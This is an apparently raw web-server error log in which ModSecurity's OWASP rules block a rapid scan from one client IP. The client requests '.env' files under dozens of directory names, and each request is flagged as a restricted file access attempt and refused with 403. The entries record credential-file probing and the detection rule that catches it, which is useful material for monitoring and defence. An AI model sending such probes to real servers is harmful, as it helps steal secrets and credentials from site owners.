[Thu Feb 26 01:03:11.432629 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6QAAAAM&quot;]
[Thu Feb 26 01:03:11.453437 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PzgAAAAU&quot;]
[Thu Feb 26 01:03:11.453685 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PzgAAAAU&quot;]
[Thu Feb 26 01:03:11.453842 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nest/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PzgAAAAU&quot;]
[Thu Feb 26 01:03:11.518980 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuke.app.ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6wAAAAM&quot;]
[Thu Feb 26 01:03:11.519268 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6wAAAAM&quot;]
[Thu Feb 26 01:03:11.519451 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nuke.App.Ui/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6wAAAAM&quot;]
[Thu Feb 26 01:03:11.544328 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nuxt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk7AAAAAM&quot;]
[Thu Feb 26 01:03:11.544603 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk7AAAAAM&quot;]
[Thu Feb 26 01:03:11.544795 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuxt/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk7AAAAAM&quot;]
[Thu Feb 26 01:03:11.562475 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new-js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0AAAAAU&quot;]
[Thu Feb 26 01:03:11.562756 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0AAAAAU&quot;]
[Thu Feb 26 01:03:11.562922 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new-js/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0AAAAAU&quot;]
[Thu Feb 26 01:03:11.609807 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /news-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0gAAAAU&quot;]
[Thu Feb 26 01:03:11.610046 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0gAAAAU&quot;]
[Thu Feb 26 01:03:11.610199 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/news-app/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0gAAAAU&quot;]
[Thu Feb 26 01:03:11.676925 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /next/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0wAAAAU&quot;]
[Thu Feb 26 01:03:11.677168 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0wAAAAU&quot;]
[Thu Feb 26 01:03:11.677341 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P0wAAAAU&quot;]
[Thu Feb 26 01:03:11.698328 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk8QAAAAM&quot;]
[Thu Feb 26 01:03:11.698594 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk8QAAAAM&quot;]
[Thu Feb 26 01:03:11.698735 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk8QAAAAM&quot;]
[Thu Feb 26 01:03:11.710963 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1AAAAAU&quot;]
[Thu Feb 26 01:03:11.711200 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1AAAAAU&quot;]
[Thu Feb 26 01:03:11.711348 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1AAAAAU&quot;]
[Thu Feb 26 01:03:11.735727 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /niffler-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1QAAAAU&quot;]
[Thu Feb 26 01:03:11.735935 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1QAAAAU&quot;]
[Thu Feb 26 01:03:11.736074 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1QAAAAU&quot;]
[Thu Feb 26 01:03:11.771635 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1gAAAAU&quot;]
[Thu Feb 26 01:03:11.771853 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1gAAAAU&quot;]
[Thu Feb 26 01:03:11.772019 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-P1gAAAAU&quot;]
[Thu Feb 26 01:03:11.786807 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /oldsanta/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9AAAAAM&quot;]
[Thu Feb 26 01:03:11.787015 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk9AAAAAM&quot;]
